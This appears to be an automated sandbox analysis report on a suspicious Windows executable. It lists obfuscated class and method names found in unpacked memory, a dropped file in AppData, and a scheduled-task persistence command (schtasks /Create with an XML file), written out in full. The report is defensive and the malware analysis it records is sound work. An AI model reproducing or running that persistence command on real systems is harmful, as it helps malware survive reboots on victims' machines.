Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, IKMnJMAGMWjJkB2Xug.cs	High entropy of concatenated method names: 'Dispose', 'zJwsX1Kj9N', 'jirhtt9TSQ', 'QJAqq28gy2', 'zeXsoGfp2e', 'Q3Psz19jtL', 'ProcessDialogKey', 'fuChwZhUJ9', 'jGchsIPPDd', 'i9fhhnYZI4'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, eo4T2X1Dv3TgKlbxU1.cs	High entropy of concatenated method names: 'kbTWyTDRh7', 'hA1WfXdegi', 'YbhWIDDBSt', 'hJUWtmmsHU', 'x2bW7LPwGa', 'uQDWBqG8PQ', 'qCCWH8r18v', 'ggQWYOXkIG', 'uHcWJJYGUp', 'KKUWcCsuuL'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, Lonn3j0q0AQi6YTE3j.cs	High entropy of concatenated method names: 'fxkFIrHfoO', 'YTSFt0yp7a', 'ksEFlxFYNG', 'OErF7hKg0c', 'YtYFQCqUqA', 'vATFBpiYj7', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, FIkKZKJloOjyigcxKH.cs	High entropy of concatenated method names: 'UpWFn3gS7S', 'FgoFu2YhNL', 'vFQFEClmFU', 'nEwFbm2T54', 'iYWFjR5AQG', 'ousFCNDJNJ', 'qPeF47R2Vy', 'KFHF6RC82H', 'a4EFS8OitU', 'VWPF3joA2F'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, Qq1obo5AW8WT5RBnbv.cs	High entropy of concatenated method names: 'Efgb07TkVK', 'V9kbkfB1Kg', 'AJIElkfQ8m', 'OV7E7pcI3O', 'B90EBhrHsZ', 'iOgEewLNV5', 'WloEHpbhak', 'y8kEYBTAWd', 'vGSEK1CaZo', 'jvVEJ8MfRi'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, CgsZrxZ5bJs1isOAsW.cs	High entropy of concatenated method names: 'UWPmsd4QMr', 'RnQmLNauKL', 'egDmVPQ6eQ', 'k39mnkhrH2', 'gVtmuYhBbi', 'iEgmb6FgUY', 'AiJmjZAgm1', 'NyTF2H4ckQ', 'LHBFZmcP6p', 'pyGFXSUxER'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, SE8ir6ghUdmEJkMdDS.cs	High entropy of concatenated method names: 'i5ZPSuAxEP', 'nTXP3twPni', 'ToString', 'y1HPneMVfI', 'NgaPuxSA5x', 'F6tPEVQ2SG', 'VsiPbtmcnM', 'trpPjWf00U', 'uDyPC8g9N1', 'BraP4sNq6u'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, DuMROSxCmqfhBtrcL3.cs	High entropy of concatenated method names: 'yOMLTchpe7', 'WUGLnYiYoA', 'W37LusktDV', 'nAOLERtdAB', 'NOtLbPD8V1', 'a68LjAsYRL', 'HKfLCryrmp', 'Dg9L4lSPIH', 'VSTL65Hk8b', 'GgLLSF9iuC'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, I8KkSGhDf7BGedS1Qv.cs	High entropy of concatenated method names: 'YOQEaScGNA', 'FHjEGyIy69', 'P3TEyGNNwa', 'zS9EfFPqPh', 'CmbERlnq2v', 'rmNEO8dEDR', 'jowEPurN3f', 'xP0EFmoVC3', 'tAaEm6q92H', 'qXLEURISO7'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, ecKDheHH0uffYM2Fi6g.cs	High entropy of concatenated method names: 'ToString', 'nCiULlRQEW', 'JtsUVdJmyo', 'D2uUTduAQw', 'SRsUn6kvnT', 'suQUujrSfL', 'z92UE7bTxV', 'jcVUbTGwvP', 'pXB0n1aLvsIBy5wpKXx', 'TC8ga4aKbPMkl7m2aI3'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, IsdtIxHB8KRIqEfRXKj.cs	High entropy of concatenated method names: 'GiHmrYCSxd', 'viVm8cae9y', 'RV2mN8JTnp', 'YBsmaiJgMm', 'ggem0RM16h', 'uFYmGoni9b', 'jDkmkfAx1u', 'U4Imy04y5y', 'cZ5mf9jI5t', 'yCqmvVeuBy'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, o1qUIqLK21d9xCwImS.cs	High entropy of concatenated method names: 'vl0jTDoOen', 'dutjuEMCfE', 'dlhjbDukj9', 'SXIjCJwB5h', 'BsSj4xTS9B', 'NEubgfo2Pk', 'XidbMFGR36', 'xvOb2QTN7f', 'svHbZSKI9O', 'ExmbXCWkky'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, gByks8SDMER85a92MA.cs	High entropy of concatenated method names: 'OwINxex6d', 'Ptdayw1cN', 'j8LG28fbQ', 'upDkMtIpU', 'EYLfUR9Z8', 'zamv3OM1G', 'XPe8lZAqgTFKdHXY4B', 'G5GgMxRJHM3G6iymMR', 'MWV11vH7X2200V9Y0E', 'jTqF4E6fA'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, h50wgh6LF9bYD0ikjA.cs	High entropy of concatenated method names: 'mwKCrhHvp4', 'Kq4C8T0owC', 'uCuCN2B2OJ', 'O7mCajJEXh', 'j6RC0eZXFJ', 'CAbCG6kwHs', 'k9WCk11vQJ', 'uGjCy69U4i', 'F96CfP8rPK', 'LHvCvogTlg'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, PKeJNeHl4Ackfff2Coj.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'glgUQ9BWxx', 'dyJUxsikDy', 'kH8UdJdeTV', 'jZaUAJPspT', 'HdWUgysWDt', 'c1nUMAMH27', 'sPGU2IjCOY'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, wOtoBA4wweaIJmt93j.cs	High entropy of concatenated method names: 'RsmCn1tQkg', 'yeNCEyCYfj', 'wW9CjSjB6g', 'LVwjoyeZVZ', 'oA6jzs0shx', 'W0XCwj5YUT', 'DIcCsriERW', 'aANChQbx9O', 'ItQCLZxknk', 'mA2CV915AA'
Source: 0.2.2i3Lj7a8Gk.exe.45573e0.3.raw.unpack, D3p30FN1f5pTIN89YF.cs	High entropy of concatenated method names: 'mEYsCWCQH2', 'ehbs4CeB8K', 'XBBsSdcBqB', 'fK0s3N03jZ', 'HQnsRGdDRG', 'S9XsO4qc0a', 'udnwfs0wC0KHgRaGVG', 'VTiteiFRcgynPZ21Dn', 'GhDssHi5ka', 'rhJsLi99uL'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, KexrhkrD0V06LqILWv.cs	High entropy of concatenated method names: 'PB3uQrUN5s', 'ESAuxQmfyf', 'Ft8udpPwvN', 'SwEuAxm5VX', 'YjpugFHsL3', 'dOduMOR807', 'AYfu2w9ufE', 'rnUuZJiMbH', 'KDquXxwMxg', 'djvuoYLc4G'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, aSN3GuMwIV9gTOVQcT.cs	High entropy of concatenated method names: 'XJGqRZ5gUq9XBaX2Ah6', 'aKdxeO5GsmH2f3jQtWL', 'HsSjF8aPw4', 'IG6jmVBUWc', 'w6ejUhrsjC', 'Oilbp05npgaCGmmIexk', 'oegjw85h56OM7JDTVJ2'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, U2rA3WVWalOxnTMMV4.cs	High entropy of concatenated method names: 'NOdPZFMp9G', 'XoTPoXLhhf', 'N0nFwaNs98', 'QtsFsR70x2', 'sPsPcy0igF', 'tEqPiwS57V', 'NF3P11vIJX', 'u82PQtf3aQ', 'CbaPxWYubw', 'chnPdWUTXZ'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, IKMnJMAGMWjJkB2Xug.cs	High entropy of concatenated method names: 'Dispose', 'zJwsX1Kj9N', 'jirhtt9TSQ', 'QJAqq28gy2', 'zeXsoGfp2e', 'Q3Psz19jtL', 'ProcessDialogKey', 'fuChwZhUJ9', 'jGchsIPPDd', 'i9fhhnYZI4'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, eo4T2X1Dv3TgKlbxU1.cs	High entropy of concatenated method names: 'kbTWyTDRh7', 'hA1WfXdegi', 'YbhWIDDBSt', 'hJUWtmmsHU', 'x2bW7LPwGa', 'uQDWBqG8PQ', 'qCCWH8r18v', 'ggQWYOXkIG', 'uHcWJJYGUp', 'KKUWcCsuuL'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, Lonn3j0q0AQi6YTE3j.cs	High entropy of concatenated method names: 'fxkFIrHfoO', 'YTSFt0yp7a', 'ksEFlxFYNG', 'OErF7hKg0c', 'YtYFQCqUqA', 'vATFBpiYj7', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, FIkKZKJloOjyigcxKH.cs	High entropy of concatenated method names: 'UpWFn3gS7S', 'FgoFu2YhNL', 'vFQFEClmFU', 'nEwFbm2T54', 'iYWFjR5AQG', 'ousFCNDJNJ', 'qPeF47R2Vy', 'KFHF6RC82H', 'a4EFS8OitU', 'VWPF3joA2F'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, Qq1obo5AW8WT5RBnbv.cs	High entropy of concatenated method names: 'Efgb07TkVK', 'V9kbkfB1Kg', 'AJIElkfQ8m', 'OV7E7pcI3O', 'B90EBhrHsZ', 'iOgEewLNV5', 'WloEHpbhak', 'y8kEYBTAWd', 'vGSEK1CaZo', 'jvVEJ8MfRi'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, CgsZrxZ5bJs1isOAsW.cs	High entropy of concatenated method names: 'UWPmsd4QMr', 'RnQmLNauKL', 'egDmVPQ6eQ', 'k39mnkhrH2', 'gVtmuYhBbi', 'iEgmb6FgUY', 'AiJmjZAgm1', 'NyTF2H4ckQ', 'LHBFZmcP6p', 'pyGFXSUxER'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, SE8ir6ghUdmEJkMdDS.cs	High entropy of concatenated method names: 'i5ZPSuAxEP', 'nTXP3twPni', 'ToString', 'y1HPneMVfI', 'NgaPuxSA5x', 'F6tPEVQ2SG', 'VsiPbtmcnM', 'trpPjWf00U', 'uDyPC8g9N1', 'BraP4sNq6u'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, DuMROSxCmqfhBtrcL3.cs	High entropy of concatenated method names: 'yOMLTchpe7', 'WUGLnYiYoA', 'W37LusktDV', 'nAOLERtdAB', 'NOtLbPD8V1', 'a68LjAsYRL', 'HKfLCryrmp', 'Dg9L4lSPIH', 'VSTL65Hk8b', 'GgLLSF9iuC'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, I8KkSGhDf7BGedS1Qv.cs	High entropy of concatenated method names: 'YOQEaScGNA', 'FHjEGyIy69', 'P3TEyGNNwa', 'zS9EfFPqPh', 'CmbERlnq2v', 'rmNEO8dEDR', 'jowEPurN3f', 'xP0EFmoVC3', 'tAaEm6q92H', 'qXLEURISO7'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, ecKDheHH0uffYM2Fi6g.cs	High entropy of concatenated method names: 'ToString', 'nCiULlRQEW', 'JtsUVdJmyo', 'D2uUTduAQw', 'SRsUn6kvnT', 'suQUujrSfL', 'z92UE7bTxV', 'jcVUbTGwvP', 'pXB0n1aLvsIBy5wpKXx', 'TC8ga4aKbPMkl7m2aI3'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, IsdtIxHB8KRIqEfRXKj.cs	High entropy of concatenated method names: 'GiHmrYCSxd', 'viVm8cae9y', 'RV2mN8JTnp', 'YBsmaiJgMm', 'ggem0RM16h', 'uFYmGoni9b', 'jDkmkfAx1u', 'U4Imy04y5y', 'cZ5mf9jI5t', 'yCqmvVeuBy'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, o1qUIqLK21d9xCwImS.cs	High entropy of concatenated method names: 'vl0jTDoOen', 'dutjuEMCfE', 'dlhjbDukj9', 'SXIjCJwB5h', 'BsSj4xTS9B', 'NEubgfo2Pk', 'XidbMFGR36', 'xvOb2QTN7f', 'svHbZSKI9O', 'ExmbXCWkky'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, gByks8SDMER85a92MA.cs	High entropy of concatenated method names: 'OwINxex6d', 'Ptdayw1cN', 'j8LG28fbQ', 'upDkMtIpU', 'EYLfUR9Z8', 'zamv3OM1G', 'XPe8lZAqgTFKdHXY4B', 'G5GgMxRJHM3G6iymMR', 'MWV11vH7X2200V9Y0E', 'jTqF4E6fA'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, h50wgh6LF9bYD0ikjA.cs	High entropy of concatenated method names: 'mwKCrhHvp4', 'Kq4C8T0owC', 'uCuCN2B2OJ', 'O7mCajJEXh', 'j6RC0eZXFJ', 'CAbCG6kwHs', 'k9WCk11vQJ', 'uGjCy69U4i', 'F96CfP8rPK', 'LHvCvogTlg'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, PKeJNeHl4Ackfff2Coj.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'glgUQ9BWxx', 'dyJUxsikDy', 'kH8UdJdeTV', 'jZaUAJPspT', 'HdWUgysWDt', 'c1nUMAMH27', 'sPGU2IjCOY'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, wOtoBA4wweaIJmt93j.cs	High entropy of concatenated method names: 'RsmCn1tQkg', 'yeNCEyCYfj', 'wW9CjSjB6g', 'LVwjoyeZVZ', 'oA6jzs0shx', 'W0XCwj5YUT', 'DIcCsriERW', 'aANChQbx9O', 'ItQCLZxknk', 'mA2CV915AA'
Source: 0.2.2i3Lj7a8Gk.exe.7360000.5.raw.unpack, D3p30FN1f5pTIN89YF.cs	High entropy of concatenated method names: 'mEYsCWCQH2', 'ehbs4CeB8K', 'XBBsSdcBqB', 'fK0s3N03jZ', 'HQnsRGdDRG', 'S9XsO4qc0a', 'udnwfs0wC0KHgRaGVG', 'VTiteiFRcgynPZ21Dn', 'GhDssHi5ka', 'rhJsLi99uL'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, KexrhkrD0V06LqILWv.cs	High entropy of concatenated method names: 'PB3uQrUN5s', 'ESAuxQmfyf', 'Ft8udpPwvN', 'SwEuAxm5VX', 'YjpugFHsL3', 'dOduMOR807', 'AYfu2w9ufE', 'rnUuZJiMbH', 'KDquXxwMxg', 'djvuoYLc4G'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, aSN3GuMwIV9gTOVQcT.cs	High entropy of concatenated method names: 'XJGqRZ5gUq9XBaX2Ah6', 'aKdxeO5GsmH2f3jQtWL', 'HsSjF8aPw4', 'IG6jmVBUWc', 'w6ejUhrsjC', 'Oilbp05npgaCGmmIexk', 'oegjw85h56OM7JDTVJ2'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, U2rA3WVWalOxnTMMV4.cs	High entropy of concatenated method names: 'NOdPZFMp9G', 'XoTPoXLhhf', 'N0nFwaNs98', 'QtsFsR70x2', 'sPsPcy0igF', 'tEqPiwS57V', 'NF3P11vIJX', 'u82PQtf3aQ', 'CbaPxWYubw', 'chnPdWUTXZ'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, IKMnJMAGMWjJkB2Xug.cs	High entropy of concatenated method names: 'Dispose', 'zJwsX1Kj9N', 'jirhtt9TSQ', 'QJAqq28gy2', 'zeXsoGfp2e', 'Q3Psz19jtL', 'ProcessDialogKey', 'fuChwZhUJ9', 'jGchsIPPDd', 'i9fhhnYZI4'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, eo4T2X1Dv3TgKlbxU1.cs	High entropy of concatenated method names: 'kbTWyTDRh7', 'hA1WfXdegi', 'YbhWIDDBSt', 'hJUWtmmsHU', 'x2bW7LPwGa', 'uQDWBqG8PQ', 'qCCWH8r18v', 'ggQWYOXkIG', 'uHcWJJYGUp', 'KKUWcCsuuL'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, Lonn3j0q0AQi6YTE3j.cs	High entropy of concatenated method names: 'fxkFIrHfoO', 'YTSFt0yp7a', 'ksEFlxFYNG', 'OErF7hKg0c', 'YtYFQCqUqA', 'vATFBpiYj7', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, FIkKZKJloOjyigcxKH.cs	High entropy of concatenated method names: 'UpWFn3gS7S', 'FgoFu2YhNL', 'vFQFEClmFU', 'nEwFbm2T54', 'iYWFjR5AQG', 'ousFCNDJNJ', 'qPeF47R2Vy', 'KFHF6RC82H', 'a4EFS8OitU', 'VWPF3joA2F'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, Qq1obo5AW8WT5RBnbv.cs	High entropy of concatenated method names: 'Efgb07TkVK', 'V9kbkfB1Kg', 'AJIElkfQ8m', 'OV7E7pcI3O', 'B90EBhrHsZ', 'iOgEewLNV5', 'WloEHpbhak', 'y8kEYBTAWd', 'vGSEK1CaZo', 'jvVEJ8MfRi'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, CgsZrxZ5bJs1isOAsW.cs	High entropy of concatenated method names: 'UWPmsd4QMr', 'RnQmLNauKL', 'egDmVPQ6eQ', 'k39mnkhrH2', 'gVtmuYhBbi', 'iEgmb6FgUY', 'AiJmjZAgm1', 'NyTF2H4ckQ', 'LHBFZmcP6p', 'pyGFXSUxER'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, SE8ir6ghUdmEJkMdDS.cs	High entropy of concatenated method names: 'i5ZPSuAxEP', 'nTXP3twPni', 'ToString', 'y1HPneMVfI', 'NgaPuxSA5x', 'F6tPEVQ2SG', 'VsiPbtmcnM', 'trpPjWf00U', 'uDyPC8g9N1', 'BraP4sNq6u'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, DuMROSxCmqfhBtrcL3.cs	High entropy of concatenated method names: 'yOMLTchpe7', 'WUGLnYiYoA', 'W37LusktDV', 'nAOLERtdAB', 'NOtLbPD8V1', 'a68LjAsYRL', 'HKfLCryrmp', 'Dg9L4lSPIH', 'VSTL65Hk8b', 'GgLLSF9iuC'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, I8KkSGhDf7BGedS1Qv.cs	High entropy of concatenated method names: 'YOQEaScGNA', 'FHjEGyIy69', 'P3TEyGNNwa', 'zS9EfFPqPh', 'CmbERlnq2v', 'rmNEO8dEDR', 'jowEPurN3f', 'xP0EFmoVC3', 'tAaEm6q92H', 'qXLEURISO7'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, ecKDheHH0uffYM2Fi6g.cs	High entropy of concatenated method names: 'ToString', 'nCiULlRQEW', 'JtsUVdJmyo', 'D2uUTduAQw', 'SRsUn6kvnT', 'suQUujrSfL', 'z92UE7bTxV', 'jcVUbTGwvP', 'pXB0n1aLvsIBy5wpKXx', 'TC8ga4aKbPMkl7m2aI3'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, IsdtIxHB8KRIqEfRXKj.cs	High entropy of concatenated method names: 'GiHmrYCSxd', 'viVm8cae9y', 'RV2mN8JTnp', 'YBsmaiJgMm', 'ggem0RM16h', 'uFYmGoni9b', 'jDkmkfAx1u', 'U4Imy04y5y', 'cZ5mf9jI5t', 'yCqmvVeuBy'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, o1qUIqLK21d9xCwImS.cs	High entropy of concatenated method names: 'vl0jTDoOen', 'dutjuEMCfE', 'dlhjbDukj9', 'SXIjCJwB5h', 'BsSj4xTS9B', 'NEubgfo2Pk', 'XidbMFGR36', 'xvOb2QTN7f', 'svHbZSKI9O', 'ExmbXCWkky'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, gByks8SDMER85a92MA.cs	High entropy of concatenated method names: 'OwINxex6d', 'Ptdayw1cN', 'j8LG28fbQ', 'upDkMtIpU', 'EYLfUR9Z8', 'zamv3OM1G', 'XPe8lZAqgTFKdHXY4B', 'G5GgMxRJHM3G6iymMR', 'MWV11vH7X2200V9Y0E', 'jTqF4E6fA'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, h50wgh6LF9bYD0ikjA.cs	High entropy of concatenated method names: 'mwKCrhHvp4', 'Kq4C8T0owC', 'uCuCN2B2OJ', 'O7mCajJEXh', 'j6RC0eZXFJ', 'CAbCG6kwHs', 'k9WCk11vQJ', 'uGjCy69U4i', 'F96CfP8rPK', 'LHvCvogTlg'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, PKeJNeHl4Ackfff2Coj.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'glgUQ9BWxx', 'dyJUxsikDy', 'kH8UdJdeTV', 'jZaUAJPspT', 'HdWUgysWDt', 'c1nUMAMH27', 'sPGU2IjCOY'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, wOtoBA4wweaIJmt93j.cs	High entropy of concatenated method names: 'RsmCn1tQkg', 'yeNCEyCYfj', 'wW9CjSjB6g', 'LVwjoyeZVZ', 'oA6jzs0shx', 'W0XCwj5YUT', 'DIcCsriERW', 'aANChQbx9O', 'ItQCLZxknk', 'mA2CV915AA'
Source: 0.2.2i3Lj7a8Gk.exe.45dce00.2.raw.unpack, D3p30FN1f5pTIN89YF.cs	High entropy of concatenated method names: 'mEYsCWCQH2', 'ehbs4CeB8K', 'XBBsSdcBqB', 'fK0s3N03jZ', 'HQnsRGdDRG', 'S9XsO4qc0a', 'udnwfs0wC0KHgRaGVG', 'VTiteiFRcgynPZ21Dn', 'GhDssHi5ka', 'rhJsLi99uL'

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

File created: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe

Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\lyNyKapwZJLKnn" /XML "C:\Users\user\AppData\Local\Temp\tmp760C.tmp"

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\lyNyKapwZJLKnn.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\2i3Lj7a8Gk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
